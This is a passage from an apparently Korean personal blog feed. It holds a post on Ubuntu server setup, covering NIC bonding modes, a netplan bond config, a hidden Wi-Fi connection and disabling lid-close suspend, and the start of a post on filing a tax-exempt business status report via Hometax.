&lt;p data-ke-size=&quot;size16&quot;&gt;기본 환경 세팅을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리했습니다.&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 본딩(Bonding)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본딩(Windows -&amp;gt; Teaming)이란&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하드웨어(PC, 서버, 노트북 등)에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크 인터페이스(유선, 무선 랜카드 등)가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러개 설치된 경우,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 &lt;u&gt;&lt;b&gt;인터페이스들을&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;하나로 묶어&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;하나의 통신 채널로 사용하는 기능&lt;/b&gt;&lt;/u&gt;입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- 높은 대역폭을 확보할 수 있고 네트워크 인터페이스, 케이블, 스위치 등의 장애에 대비할 수 있음&lt;br /&gt;- 실무에서는 대역폭 확장의 용도 보다는 장애 대비용으로 많이 사용됨&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 모드&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본딩에는 총&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6가지 모드가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;존재하며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스위치의 지원 여부, 설정 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러가지 이유로 인해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mode 0 이나 mode 1을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많이 사용하는 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Mode 0: Round-robin(mode: balance-rr)&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- 송신하는 패킷마다 사용하는 LAN 포트를 변경합니다.&lt;br /&gt;- RR(RoundRobin) 방식 Load Balancing, 인터페이스의 라운드 로빈(active-active 대역폭 상승+Failover를 지원)&lt;br /&gt;- 디바이스가 2개일 경우(랜 포트 두 개) 트래픽을 같이 사용할 수 있어 대역폭 분산시키는데 효과적입니다.&lt;br /&gt;- [A NIC -&amp;gt; B NIC -&amp;gt; A NIC -&amp;gt; B NIC 순]으로 패킷을 분산시키는 방법을 사용합니다.&lt;br /&gt;- 스위치에서 지원한다면 hashing 업이 load balancing 됩니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Mode 1: Active-backup(mode: active-backup)&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- bond LAN port 중 한 개의 포트만 사용합니다.(하나의 슬레이브만 활성화와 같은 의미)&lt;br /&gt;- LAN port 이상이나 고장이 생길 경우 대체됩니다.(나머지 슬레이브는 standby 상태)&lt;br /&gt;- Failover전용 mode입니다.&lt;br /&gt;- primary를 설정하지 않으면 failback 되지 않습니다.&lt;br /&gt;- 스위치 지원은 필요 없습니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Mode 2: XOR(mode: balance-xor)&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- mode 0과 비슷하지만, 목적지와 발신지의 MAC address XOR연산을 통해 사용할 LAN port 결정합니다.&lt;br /&gt;- XOR 방식 / 수신 시에는 MAC address로 매핑합니다.&lt;br /&gt;- 송신 시 1번 NIC를 사용합니다.&lt;br /&gt;(NIC는 Network Interface Card로 흔히 랜카드나 랜 포트를 이야기합니다.)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Mode 3: Broadcast(mode: broadcast)&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- 모든 bond LAN port를 사용하여 데이터 전송합니다.&lt;br /&gt;(특별한 상황 외에는 사용가 빈도 극히 낮습니다.)&lt;br /&gt;- Failover를 지원합니다.&lt;br /&gt;- 스위치 지원은 필요 없습니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Mode 4: 802.3ad(Link Aggregation), LACP(mode: 802.3ad)&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- IEEE 802.3ad 프로토콜을 이용하여 Aggregation을 작성합니다.&lt;br /&gt;- 대역폭이 상승하고 부하가 분산됩니다.&lt;br /&gt;- Failover를 지원합니다.&lt;br /&gt;- 802.3ad Dynamic Link aggregation (동적 링크 집계)&lt;br /&gt;- switch에 aggregation group을 생성해야 합니다.&lt;br /&gt;- switch가 802.3ad를 지원해야 합니다.&lt;br /&gt;- 같은 속도와 duplex 설정을 공유하는 aggregation group을 만들어야 합니다.&lt;br /&gt;- 송/수신은 active aggregator 안에서 수행되고, 연결 대수에 상관없이 그룹화에 따라 회선의 정책이 변경되어 무단절 인터넷 연결을 가능하게 만드는 방식입니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Mode 5: TLB(mode: balance-tlb)&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- 적응형 송신 부하분산&lt;br /&gt;- 특별한 지원이 OS 자체적으로 구동가능한 방법으로 각 링크의 현재 로드에 따라 보내는 데이터는 분산되어 전송됩니다.&lt;br /&gt;(로드밸런싱으로 송신 시 부하가 낮은 LAN port를 사용합니다.)&lt;br /&gt;- 데이터의 수신은 현재 slave쪽으로만 가게되며 해당 slave가 fail시 다른 slave가 MAC주소를 넘겨받아 수신합니다.&lt;br /&gt;- 데이터를 보낼 때에 드라이버가 MAC address를 링크의 것으로 바꿔 보내지만 받을 때에는 그냥 남겨둡니다.&lt;br /&gt;- 스위치 지원은 필요 없습니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Mode 6: ALB(mode: balance-alb)&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- 적응형 송수신 부하분산&lt;br /&gt;- mode 4(802.3ad)를 스위치가 지원하지 않을 때 사용하면 됩니다.&amp;nbsp;&lt;br /&gt;- mode 5와 같이 동작하지만 데이터 수신 시에서 load-balancing을 하는데 두개의 링크에서 ARP negotiation을 통하여 동작합니다.&lt;br /&gt;- 송수신시 부하가 낮은 NIC를 사용합니다.&lt;br /&gt;- 스위치 지원은 필요 없습니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 설정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치할 때 설정이 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 설치한 경우엔,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 설정하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;설정 참고&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. interface가 많은 이유&lt;/b&gt;&lt;br /&gt;- 재부팅할 때마다 USB 랜카드의 이름이 계속 바뀜...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. wlp2s0 인터페이스?&lt;/b&gt;&lt;br /&gt;- 설치할 때 본딩을 했더니, 무선 인터페이스의 설정 파일이 따로 있음&lt;br /&gt;(00-installer-config-wifi.yaml)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 고정 IP 세팅&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676100359675&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# This is the network config written by 'subiquity'
# sudo vi /etc/netplan/00-installer-config.yaml
network:
  bonds:
    bond0:
      addresses:
      - 192.168.219.150/24
      interfaces:
      - enx6eb1029a8cae
      - enx28ee5201ec23
      - enxbecea79f2358
      - wlp2s0
      nameservers:
        addresses:
        - 1.214.68.2
        search:
        - 61.41.153.2
      parameters:
        mode: balance-rr
      routes:
      - to: default
        via: 192.168.219.1
  ethernets:
    enx6eb1029a8cae: {}
    enx28ee5201ec23: {}
    enxbecea79f2358: {}
  version: 2&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;설정 적용&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;$ sudo netplan apply&lt;br /&gt;$ ip addr&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;701&quot; data-origin-height=&quot;303&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nJgc5/btrYTp8zfft/O3MIRkKVNqnKGNdakipr80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nJgc5/btrYTp8zfft/O3MIRkKVNqnKGNdakipr80/img.png&quot; data-alt=&quot;bond 설정 완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nJgc5/btrYTp8zfft/O3MIRkKVNqnKGNdakipr80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnJgc5%2FbtrYTp8zfft%2FO3MIRkKVNqnKGNdakipr80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;216&quot; data-origin-width=&quot;701&quot; data-origin-height=&quot;303&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;bond 설정 완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 숨겨진 와이파이 연결&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;와이파이의 SSID가 숨겨진 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결하는 방법 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;설정 참고&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. hidden: true&lt;br /&gt;&lt;/b&gt;- 이 설정이 있어야 숨겨진 와이파이에 연결 됩니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. dhcp4: false&lt;/b&gt;&lt;br /&gt;- 본딩하는 경우 dhcp 기능을 꺼야 합니다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1676102084354&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# This is the network config written by 'subiquity'
# $ sudo vi /etc/netplan/00-installer-config-wifi.yaml

network:
  version: 2
  wifis:
    wlp2s0: #&amp;lt;-- Wireless interface name
      access-points:
        Hidden Wifi ssid: #&amp;lt;-- 와이파이 이름
          hidden: true #&amp;lt;-- 이 설정이 있어야 함
          password: Hidden Wifi password #&amp;lt;-- 와이파이 비밀번호
      dhcp4: false #&amp;lt;-- 본딩 때문에 false&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 노트북 덮개 절전모드 해제&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버를 노트북에 설치하다보니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;덮개를 덮으면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;절전모드로 들어가서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 설정을 해제했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;설정 참고&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. HandleLidSwitch=ignore &lt;br /&gt;&lt;/b&gt;- Triggered when the lid is closed, except in the cases below.&lt;br /&gt;(HandleLidSwitchDocked, HandleLidSwitchExternalPower)&lt;br /&gt;- defulat: suspend&lt;br /&gt;- options: poweroff, hibernate, ignore, lock&lt;/blockquote&gt;
&lt;pre id=&quot;code_1676102629730&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo systemctl restart systemd-logind&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Tip.../환경세팅</category>
      <category>bonding</category>
      <category>hidden wifi</category>
      <category>노트북 덮개</category>
      <category>절전모드</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/176</guid>
      <comments>https://chmodi.tistory.com/176#entry176comment</comments>
      <pubDate>Sat, 11 Feb 2023 17:05:48 +0900</pubDate>
    </item>
    <item>
      <title>부가가치세 안내는 애드센스 면세사업자 사업장현황신고</title>
      <link>https://chmodi.tistory.com/175</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1인 미디어 콘텐츠 창작자와 같이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;면세사업자에 해당하는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부가가치세는 신고하지 않으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;사업장현황신고와&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;종합소득세 신고&lt;/b&gt;&lt;/u&gt;만 하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 구입하는 카메라, 조명, 마이크 등은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부가가치세액 공제를 받지 못합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;면세사업자는 부가세가&amp;nbsp;면제이기 때문입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 신고기한&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작년 한해 동안 발생한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수입금액과 지출 경비를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1년에 한번&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;1월 1일 ~ 2월 10일&lt;/b&gt;&lt;/u&gt; 사이에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신고하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무실적 신고가 있으니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실적이 없더라도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대상이라면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반드시 신고해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 신고 대상&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;국세청에 안내되는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신고대상은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;931&quot; data-origin-height=&quot;480&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vc138/btrVG0i0mBq/fT5t6QqVHP7C8WJvhMhock/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vc138/btrVG0i0mBq/fT5t6QqVHP7C8WJvhMhock/img.png&quot; data-alt=&quot;신고 대상 사업자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vc138/btrVG0i0mBq/fT5t6QqVHP7C8WJvhMhock/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvc138%2FbtrVG0i0mBq%2FfT5t6QqVHP7C8WJvhMhock%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;258&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;931&quot; data-origin-height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;신고 대상 사업자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 신고 기한 &amp;amp; 불성실 가산세&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;국세청에서 안내되는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신고 기한과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;불성실 가산세는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1fCrN/btrVzVRk6XF/aMe2M5uBKtQk3aDX3cqYl0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1fCrN/btrVzVRk6XF/aMe2M5uBKtQk3aDX3cqYl0/img.png&quot; data-alt=&quot;신고기한 &amp;amp;amp; 불성실 가산세&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1fCrN/btrVzVRk6XF/aMe2M5uBKtQk3aDX3cqYl0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1fCrN%2FbtrVzVRk6XF%2FaMe2M5uBKtQk3aDX3cqYl0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;344&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;신고기한 &amp;amp; 불성실 가산세&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 사업장현황신고 페이지&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신고는 간단하며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;PC(hometax.go.kr)과 모바일(손텍스 앱)&lt;/b&gt;&lt;/u&gt;에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모두 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PC에서 진행했기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PC 기준으로 작성했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Hometax 사이트 접속&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 Hometax 사이트에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속 및 로그인 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hometax.go.kr&quot;&gt;https://hometax.go.kr&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
